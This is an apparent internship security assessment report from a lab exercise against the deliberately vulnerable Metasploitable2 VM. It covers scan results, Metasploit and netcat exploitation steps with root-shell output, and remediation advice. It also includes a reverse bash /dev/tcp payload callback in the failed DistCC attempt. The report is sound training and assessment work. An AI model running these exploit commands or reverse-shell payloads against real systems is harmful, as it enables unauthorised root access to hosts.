

NATIONAL CYBER EMERGENCY RESPONSE TEAM OF PAKISTAN (PKCERT)

Government of Pakistan

NETWORK / INFRASTRUCTURE SECURITY ASSESSMENT REPORT

Document Version	1.0
Document Name	Metasploitable2 – Network / Infrastructure Security Assessment Report (Week 3 & 4)
Document No	PKCERT/INTERN-STT/2026/WK3-4/001
Classification	CONFIDENTIAL
Issuing Authority	National CERT of Pakistan (PKCERT) — Internship Program
Date of Issuance	24 August 2026

Important Note

This report reflects the security posture of the assessed system only at the time of assessment. Any subsequent modification, upgrade, configuration change, or functional alteration to the system may affect its security posture and, therefore, may render the findings and conclusions of this report invalid. Furthermore, the scope and depth of the assessment findings are dependent upon the level of access, information, and system visibility provided to the assessment team during the engagement.

This assessment was carried out as part of a supervised internship exercise on an isolated training network.

Executive Summary

This report covers Week 3 and Week 4 of the Network / Infrastructure Security track of the internship. The target used for this exercise was Metasploitable2, a Linux virtual machine that is built on purpose with old and insecure software, so it is safe to use for security practice inside an isolated lab.

In Week 3, the target was scanned using Nmap for open ports and services, and a full automated scan was run using OpenVAS (Greenbone) to find vulnerabilities and rate them by severity. In Week 4, the most serious findings from Week 3 were manually checked using Metasploit Framework and basic manual tools, to confirm if they are real and exploitable, not just automated guesses.

The automated scan found 116 total vulnerabilities on this single machine, including 11 Critical and 8 High severity issues. Out of the top 5 Critical findings selected for manual validation, 4 were successfully confirmed as real and exploitable, giving direct root-level access to the machine with no valid credentials. One finding (DistCC RCE) was attempted but did not succeed during this testing.

This confirms that Metasploitable2 is running multiple outdated services with known public backdoors, and an attacker with network access to this machine could gain full control very easily. A full breakdown, proof-of-concept evidence, and remediation recommendations are provided in the following sections.

1. Summary of Findings

1.1 Basic Information

Target Owner	PKCERT — Internal Training Lab
Target Custodian	Hafiz Muhammad Moawiz (Trainee, Software Security Testing)
Target Name	Metasploitable2
Target Type	Virtual Machine — Intentionally Vulnerable Linux Network Host
Target IP	192.168.32.132
Target URL	N/A — Network / Infrastructure level assessment
Assessment Type	Network / Infrastructure Security Assessment — Black-box, Internal Lab
Assessment Date	30–31 July 2026 (Recon & Scanning) and 24 August 2026 (Manual Validation)
Credentials Used	None provided at start (black-box). Default / blank credentials were discovered and used during validation (e.g. MySQL root with blank password).

1.2 Consolidated Vulnerability Summary

Severity	Count	% of Total
Critical	11	9.5%
High	8	6.9%
Medium	29	25.0%

Low / Informational	68	58.6%
TOTAL	116	100%

1.3 Consolidated Risk Overview

The overall risk rating for this target is Critical. The automated scan and the manual validation done in Week 4 agree closely with each other — the same weak points (the port 1524 root shell and the vsftpd backdoor) were flagged independently by both Nmap/OpenVAS and by manual exploitation. This shows that these are genuine, working issues and not false alarms.

Out of the 5 highest-priority findings selected for manual testing, 4 were confirmed to give direct, unauthenticated root access to the machine (vsftpd backdoor, Ingreslock backdoor, rlogin passwordless login, and MySQL default credentials). This means an attacker on the same network would not need any username, password, or exploit skill to fully take over this machine — simple connection tools like netcat or rlogin are enough.

1.4 Technology Footprint

Nmap identified 21 open ports on the target. The operating system itself (Ubuntu 8.04, kernel 2.6.24) is End-of-Life and no longer receives security patches. The table below lists the most relevant services found on the target.

Port	Service	Version	Note
21	FTP	vsftpd 2.3.4	Known backdoor version
22	SSH	OpenSSH 4.7p1 (Debian)	Old version
23	Telnet	Linux telnetd	Sends data unencrypted
80	HTTP	Apache httpd 2.2.8	Old version
139/445	SMB	Samba smbd 3.X–4.X	Old version
512/513/514	rexec/rlogin/rsh	Old remote-access services	Unencrypted, weak auth
1524	bindshell	"Metasploitable root shell"	Nmap labels this a root shell
3306	MySQL	MySQL 5.0.51a	Old version, default creds
3632	DistCC	distccd	Known RCE (CVE-2004-2687)
6667	IRC	UnrealIRCd	Known backdoor version

2. Vulnerability Assessment

2.1 Automated Scan Results (Week 3 — OpenVAS / Greenbone)

The table below lists the most significant Critical severity vulnerabilities identified by the OpenVAS automated scan, in order of severity. These were the findings prioritized for manual validation in Week 4.

#	Vulnerability	Port	CVSS	Severity
1	Possible Backdoor: Ingreslock	1524/tcp	10.0	Critical
2	Distributed Ruby (dRuby/DRb) Multiple RCE Vulnerabilities	8787/tcp	10.0	Critical
3	TWiki < 4.2.4 Multiple XSS / Command Execution Vulnerabilities	80/tcp	10.0	Critical
4	rlogin Passwordless Login	513/tcp	10.0	Critical
5	The rexec Service is Running	512/tcp	10.0	Critical
6	Operating System (OS) End of Life (EOL) Detection	general/tcp	10.0	Critical
7	vsftpd Compromised Source Packages Backdoor Vulnerability	21/tcp, 6200/tcp	9.8	Critical
8	MySQL / MariaDB Default Credentials	3306/tcp	9.8	Critical
9	DistCC RCE Vulnerability (CVE-2004-2687)	3632/tcp	9.3	Critical

2.2 Manual Validation Results (Week 4 — Metasploit Framework & Manual Tools)

Following the task instructions, only findings inside this isolated lab were validated, using basic Metasploit usage and manual client tools. The goal was to confirm which automated findings are genuinely exploitable. The table below summarizes the outcome.

#	Finding	Method Used	Status
1	vsftpd 2.3.4 Backdoor (port 21)	Metasploit Framework	Confirmed
2	Ingreslock Backdoor (port 1524)	Manual — netcat	Confirmed
3	rlogin Passwordless Login (port 513)	Manual — rlogin client	Confirmed
4	MySQL Default Credentials (port 3306)	Manual — mysql client	Confirmed
5	DistCC RCE (port 3632)	Metasploit Framework	Attempted — Not Successful

Detailed steps and results for each validation attempt are given below.

2.2.1 vsftpd 2.3.4 Backdoor — Authentication-Free Root Shell

Severity: **Critical** Status: **Confirmed**

What we did:

We used Metasploit Framework to check the well-known vsftpd 2.3.4 backdoor. This exploit sends a specially crafted username to the FTP service, which triggers a hidden backdoor left in the compromised source code of this exact FTP version.

- Started Metasploit Framework (msfconsole) on Kali.
- Searched for the module: search vsftpd
- Selected the module: use exploit/unix/ftp/vsftpd_234_backdoor
- Set the target: set RHOSTS 192.168.32.132
- Ran the exploit: run

What we found:

The backdoor triggered successfully. Metasploit reported "Found shell" and opened a command shell session with UID 0 (root) and GID 0 (root), meaning full root access was obtained with no username or password required.

Evidence: Figure 1

2.2.2 Ingreslock Backdoor — Direct Root Shell via Netcat

Severity: Critical **Status:** Confirmed

What we did:

We manually connected to port 1524, which Nmap had already flagged as a possible "Metasploitable root shell", using the simple netcat tool (no exploit framework needed).

- From Kali, ran: nc 192.168.32.132 1524
- The connection opened directly into a root shell — no login prompt appeared at all.
- To prove real command execution (not just a blank connection), we ran ifconfig, then created a test file (touch test.txt), listed the directory (ls) to confirm it appeared, and then removed it again (rm test.txt) and listed the directory once more to confirm cleanup.

What we found:

The connection gave an instant root shell (root@metasploitable:/#) with no authentication at all. The ifconfig output confirmed we were connected to the correct target (192.168.32.132). The test.txt file was successfully created and then removed, proving that this is a real, fully working root shell and not just an open port.

Evidence: Figures 2, 3 and 4

2.2.3 rlogin Passwordless Login

Severity: Critical **Status:** Confirmed

What we did:

We manually tested the rlogin service, which is a very old remote login protocol from early Unix systems that can be configured to trust connections without asking for a password.

- From Kali, ran: rlogin -l root 192.168.32.132

What we found:

The command logged in directly as the root user with no password prompt at all. Running ls inside the session showed real files on the target (Desktop, reset_logs.sh, vnc.log), confirming this was a genuine interactive root session on the target machine.

Evidence: Figure 5

2.2.4 MySQL / MariaDB Default (Blank) Root Credentials

Severity: Critical **Status:** Confirmed

What we did:

We manually connected to the MySQL service on port 3306 using the default root account with a blank password, to check if database access requires any real authentication.

- From Kali, ran: `mysql -h 192.168.32.132 -u root --skip-ssl` (the `--skip-ssl` flag was needed because the modern MySQL client tries SSL by default, which this old server does not support).
- No password was requested or entered.
- Once connected, ran: `show databases;`

What we found:

The login succeeded instantly as root with a completely blank password. The `show databases;` command listed 7 databases on the server, including the internal mysql system database, dvwa, and metasploit databases — meaning an attacker could read, change, or delete any data on this server with no credentials at all.

Evidence: Figure 6

2.2.5 DistCC Daemon Remote Code Execution (CVE-2004-2687)

Severity: Critical **Status:** Attempted — Not Successful

What we did:

We attempted to exploit the DistCC service on port 3632 using its known public Metasploit module, which is supposed to run commands remotely through the distcc daemon.

- In Metasploit, searched for the module: `search distcc`
- Selected the module: `use exploit/unix/misc/distcc_exec`
- Set the target: `set RHOSTS 192.168.32.132`
- Ran the exploit: `run`

What we found:

The exploit started a reverse TCP handler, but the target returned errors ("Bad file descriptor" and "No such file or directory") and no working shell session was received. The attempt was not successful in this test run — this may be due to a payload/environment mismatch rather than the service being fully patched, since OpenVAS still separately flagged this port as a known vulnerable version. This finding is recorded as Attempted — Not Successful and can be retried with a different payload configuration in a future session.

Evidence: Figure 7

3. Proof-of-Concept Evidence

All screenshots below were captured live during Week 4 manual validation testing and correspond directly to the findings described in Section 2.2.

Figure 1 — vsftpd Backdoor Exploitation via Metasploit

```
#####
##### /--\ /--\ /--\ ##### /--\ /--\ /--\ #####
#####
#####
##### WAVE 5 ##### SCORE 31337 ##### HIGH FFFFFFFF #
#####
##### Step 1: https://metasploit.com
#####
Step 1 — Metasploit Framework Open Karo
=====
=[ metasploit v6.4.99-dev ]
+ -- --=[ 2,572 exploits - 1,317 auxiliary - 1,680 payloads ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
msf > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.32.132
RHOSTS => 192.168.32.132
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.32.132:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.32.132:21 - USER: 331 Please specify the password.
[*] 192.168.32.132:21 - Backdoor service has been spawned, handling...
[*] 192.168.32.132:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.32.131:37729 -> 192.168.32.132:6200) at 2026-08-24 20:32:30 +0500
```

Metasploit search and successful run of exploit/unix/ftp/vsftpd_234_backdoor, ending with "Found shell" and a root (uid=0) command shell session opened.

Figure 2 — Netcat Connection to Ingreslock Backdoor (Kali side)

```
(moawizz@moawizs-kali)-[~]
$ nc 192.168.32.132 1524
root@metasploitable:/#
```

Netcat command run from Kali (nc 192.168.32.132 1524) opening directly into a root shell prompt.

Figure 3 — Confirming Target via ifconfig Inside the Shell

```

root@metasploitable:/# nc 192.168.32.132 1524
root@metasploitable:/# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:86:0b:65
          inet addr:192.168.32.132  Bcast:192.168.32.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe86:b65/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:224 errors:0 dropped:0 overruns:0 frame:0
          TX packets:115 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:15959 (15.5 KB)  TX bytes:13949 (13.6 KB)
          Interrupt:17 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:180 errors:0 dropped:0 overruns:0 frame:0
          TX packets:180 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:55443 (54.1 KB)  TX bytes:55443 (54.1 KB)

```

ifconfig run inside the netcat root shell, confirming the session is connected to the target machine (192.168.32.132).

Figure 4 — Proving Write Access (Create and Remove Test File)

```

root@metasploitable:/# touch test.txt
root@metasploitable:/# ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test.txt
tmp
usr
var
vmlinuz
root@metasploitable:/#

```

test.txt created with touch and confirmed present in the directory listing.


```

vmlinuz
root@metasploitable:/# rm test.txt
root@metasploitable:/# ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
root@metasploitable:/#

```

test.txt removed with rm and confirmed no longer present, proving full root-level read/write access through this backdoor.

Figure 5 — rlogin Passwordless Root Login

```

(moawizz@moawizz-kali)-[~]
$ rlogin -l root 192.168.32.132
Last login: Mon Aug 24 11:20:30 EDT 2026 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# ls
Desktop  reset_logs.sh  vnc.log
root@metasploitable:~#

```

rlogin -l root 192.168.32.132 logging in directly with no password prompt, followed by ls showing real files on the target.

Figure 6 — MySQL Default Root Credentials

```

(moawizz@moawizz-kali)-[~]
$ mysql -h 192.168.32.132 -u root --skip-ssl
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 10
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show database;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
MySQL [(none)]> show databases;
+-----+
| Database |
+-----+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+-----+
7 rows in set (0.005 sec)

MySQL [(none)]>

```

mysql -h 192.168.32.132 -u root --skip-ssl connecting with a blank password, followed by show databases; listing 7 databases on the server.

Figure 7 — DistCC Exploit Attempt (Not Successful)

```

https://metasploit.com

[ metasploit v6.4.99-dev ]
+ -- ==[ 2,572 exploits - 1,317 auxiliary - 1,683 payloads ]
+ -- ==[ 433 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search distcc

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/misc/distcc_exec            2002-02-01      excellent Yes     DistCC Daemon Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

msf > use exploit/unix/misc/distcc_exec
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.32.132
RHOSTS => 192.168.32.132
msf exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP handler on 192.168.32.131:4444
[*] 192.168.32.132:3632 - stderr: bash: 173: Bad file descriptor
[*] 192.168.32.132:3632 - stderr: bash: /dev/tcp/192.168.32.131/4444: No such file or directory
[*] 192.168.32.132:3632 - stderr: bash: 173: Bad file descriptor

```

Metasploit exploit/unix/misc/distcc_exec run against the target; the reverse handler started but the target returned "Bad file descriptor" errors and no shell session was received.

5. Recommendations

vsftpd Backdoor (Port 21)

- Upgrade to the latest official vsftpd release, downloaded only from the verified upstream source.
- Verify the integrity of installed packages using checksums to detect tampered source code.

Ingreslock Backdoor (Port 1524)

- Identify and remove the backdoor service/process listening on port 1524.
- Block or close this port at the host firewall level immediately.
- Rebuild the system from a trusted, verified image if the source of this backdoor cannot be confirmed.

rlogin / rexec Passwordless Services (Ports 512/513/514)

- Disable rlogin, rexec, and rsh services completely — these protocols are obsolete and insecure by design.
- Replace all remote administrative access with SSH, which supports encryption and key-based authentication.

MySQL / MariaDB Default Credentials (Port 3306)

- Set a strong, unique password for the root database account immediately.
- Disable remote root login; only allow root access from localhost.
- Create separate, least-privilege database accounts for applications instead of using root.

DistCC Service (Port 3632)

- Disable the DistCC daemon if it is not actively required for a build process.
- If required, restrict access to trusted internal build servers only, using firewall rules.
- Upgrade to a patched version and monitor for further exploitation attempts.

General / Operating System

- Upgrade the operating system — the current OS is End-of-Life and receives no security patches.
- Run a full port and service audit and disable every service that is not explicitly required.
- Apply network segmentation so that this class of legacy system cannot be reached directly from untrusted networks.

6. Conclusion

Week 3 recon and automated scanning identified 116 vulnerabilities on Metasploitable2, including 11 rated Critical. Week 4 manual validation confirmed that 4 out of the 5 highest-priority findings are genuinely exploitable, giving direct, unauthenticated root access to the machine through the vsftpd backdoor, the Ingreslock backdoor, passwordless rlogin, and default MySQL credentials. The fifth finding (DistCC RCE) was attempted but did not succeed in this test run.

This exercise demonstrated the full assessment lifecycle used in real infrastructure security testing: discovery, automated scanning, manual validation with proof-of-concept evidence, risk rating, and remediation planning.